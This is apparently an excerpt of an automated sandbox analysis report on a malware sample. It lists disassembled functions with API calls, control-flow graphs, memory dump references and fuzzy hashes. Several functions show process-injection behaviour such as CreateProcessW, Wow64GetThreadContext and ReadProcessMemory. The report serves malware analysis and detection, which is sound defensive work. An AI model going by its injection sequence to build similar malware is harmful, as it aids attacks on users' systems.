                                                                                                                                                  • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                  • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                  • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$CreateShow
                                                                                                                                                  • String ID: AutoIt v3$edit
                                                                                                                                                  • API String ID: 1584632944-3779509399
                                                                                                                                                  • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                  • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                                                                                  • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                  • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                                                                                                  Function 040B9878 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 154fileCOMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1497 40b9878-40b99ce call 40b74c8 call 40b9768 CreateFileW 1504 40b99d0 1497->1504 1505 40b99d5-40b99e5 1497->1505 1506 40b9a85-40b9a8a 1504->1506 1508 40b99ec-40b9a06 VirtualAlloc 1505->1508 1509 40b99e7 1505->1509 1510 40b9a0a-40b9a21 ReadFile 1508->1510 1511 40b9a08 1508->1511 1509->1506 1512 40b9a23 1510->1512 1513 40b9a25-40b9a5f call 40b97a8 call 40b8768 1510->1513 1511->1506 1512->1506 1518 40b9a7b-40b9a83 ExitProcess 1513->1518 1519 40b9a61-40b9a76 call 40b97f8 1513->1519 1518->1506 1519->1518
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 040B9768: Sleep.KERNELBASE(000001F4), ref: 040B9779
                                                                                                                                                  • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 040B99C4
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateFileSleep
                                                                                                                                                  • String ID: X0T7NT8XV0HJ68S8OLHO
                                                                                                                                                  • API String ID: 2694422964-2946760465
                                                                                                                                                  • Opcode ID: 69093d4bf3f6a5c2744d3230461207f41ebf76e4da1269cfcc65a2115559a160
                                                                                                                                                  • Instruction ID: 721ec3e94b2643745f3a8ba2117454eb122321944fcc45ba16a5d9bd7b834a0f
                                                                                                                                                  • Opcode Fuzzy Hash: 69093d4bf3f6a5c2744d3230461207f41ebf76e4da1269cfcc65a2115559a160
                                                                                                                                                  • Instruction Fuzzy Hash: ED519470D14288DBEF11DBB4C854BEEBBB9AF55304F004199E648BB2C0D7791B49CBA5
                                                                                                                                                  Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1521 413a88-413a99 call 41718c 1524 413b10-413b15 call 4171d1 1521->1524 1525 413a9b-413aa2 1521->1525 1526 413aa4-413abc call 418407 call 419f6d 1525->1526 1527 413ae7 1525->1527 1539 413ac7-413ad7 call 413ade 1526->1539 1540 413abe-413ac6 call 419f9d 1526->1540 1529 413ae8-413af8 RtlFreeHeap 1527->1529 1529->1524 1532 413afa-413b0f call 417f23 GetLastError call 417ee1 1529->1532 1532->1524 1539->1524 1546 413ad9-413adc 1539->1546 1540->1539 1546->1529
                                                                                                                                                  APIs
                                                                                                                                                  • __lock.LIBCMT ref: 00413AA6
                                                                                                                                                    • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                                                                    • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                                                                    • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                                                                                                  • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                  • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                  • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                  • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2714421763-0
                                                                                                                                                  • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                  • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                                                                                  • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                  • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                                                                                  Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1547 40f5e0-40f62f call 40f580 call 413990 call 4112ef call 40f6a0 call 40f6d0 1558 40f631-40f653 1547->1558 1558->1558 1559 40f655-40f66d call 414e06 1558->1559 1562 40f673-40f67b call 40f450 1559->1562 1563 42b2ee 1559->1563 1566 42b2f8-42b322 call 4151b0 call 44afdc 1562->1566 1567 40f681-40f695 call 414e94 1562->1567 1563->1566 1574 42b324-42b330 1566->1574 1574->1574 1575 42b332-42b338 call 415484 1574->1575 1577 42b33d-42b343 1575->1577
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                                                                                    • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                                                                    • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                                                                  • _strcat.LIBCMT ref: 0040F603
                                                                                                                                                    • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                                                                                    • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 1194219731-2761332787
                                                                                                                                                  • Opcode ID: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                                                                  • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                                                                                  • Opcode Fuzzy Hash: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                                                                  • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                                                                                  Function 040B8768 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateProcessW.KERNELBASE(?,00000000), ref: 040B8F23
                                                                                                                                                  • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 040B8FB9
                                                                                                                                                  • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 040B8FDB
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2438371351-0
                                                                                                                                                  • Opcode ID: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
                                                                                                                                                  • Instruction ID: 2e26902ff90fa82f292544b2f6da74163ca00d41e663097cc83acdb5bc653d7f
                                                                                                                                                  • Opcode Fuzzy Hash: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
                                                                                                                                                  • Instruction Fuzzy Hash: 5E620B70A142189BEB24DFA4C840BDEB376EF58300F1091A9D24DFB3A4E7759E81CB59
                                                                                                                                                  Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _malloc.LIBCMT ref: 00411734
                                                                                                                                                    • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                    • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                    • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                  • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                    • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                                                                                  • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                  • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1411284514-0
                                                                                                                                                  • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                  • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                                                                                  • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                  • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                                                                                  Function 004734B7 Relevance: 4.7, APIs: 3, Instructions: 234COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                  • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                                                                                                  • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                  • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                                                                                                  Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                                                                                  • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3677997916-0
                                                                                                                                                  • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                  • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                                                                                  • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                  • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                                                                                  Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _malloc.LIBCMT ref: 00435278
                                                                                                                                                    • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                    • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                    • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                  • _malloc.LIBCMT ref: 00435288
                                                                                                                                                  • _malloc.LIBCMT ref: 00435298
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _malloc$AllocateHeap
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 680241177-0
                                                                                                                                                  • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                  • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                                                                                  • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                  • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                                                                                  Function 0040B380 Relevance: 3.3, APIs: 2, Instructions: 255COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ClearVariant
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1473721057-0
                                                                                                                                                  • Opcode ID: 8496133a3e3a1872fc5ab7f8f11462cad1d7adca9b2736ff52cb45440ba86ce9
                                                                                                                                                  • Instruction ID: 1f11e118333250ff1b1cce483c812f274274124743f71e781b8a547d9d3e43da
                                                                                                                                                  • Opcode Fuzzy Hash: 8496133a3e3a1872fc5ab7f8f11462cad1d7adca9b2736ff52cb45440ba86ce9
                                                                                                                                                  • Instruction Fuzzy Hash: 35917E706042009FC714DF55D890A6AB7E5EF89318F14896FF849AB392D738EE41CB9E
                                                                                                                                                  Function 0040EFE0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                                                                                                  • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 823142352-0
                                                                                                                                                  • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                  • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                                                                                                  • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                  • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                                                                                                  Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __lock_file_memset
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 26237723-0
                                                                                                                                                  • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                  • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                                                                                  • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                  • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                                                                                  Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                    • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                  • __lock_file.LIBCMT ref: 00414EE4
                                                                                                                                                    • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                                                                                  • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 717694121-0
                                                                                                                                                  • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                  • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                                                                                  • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                  • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                                                                                  Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • TranslateMessage.USER32(?), ref: 004098F6
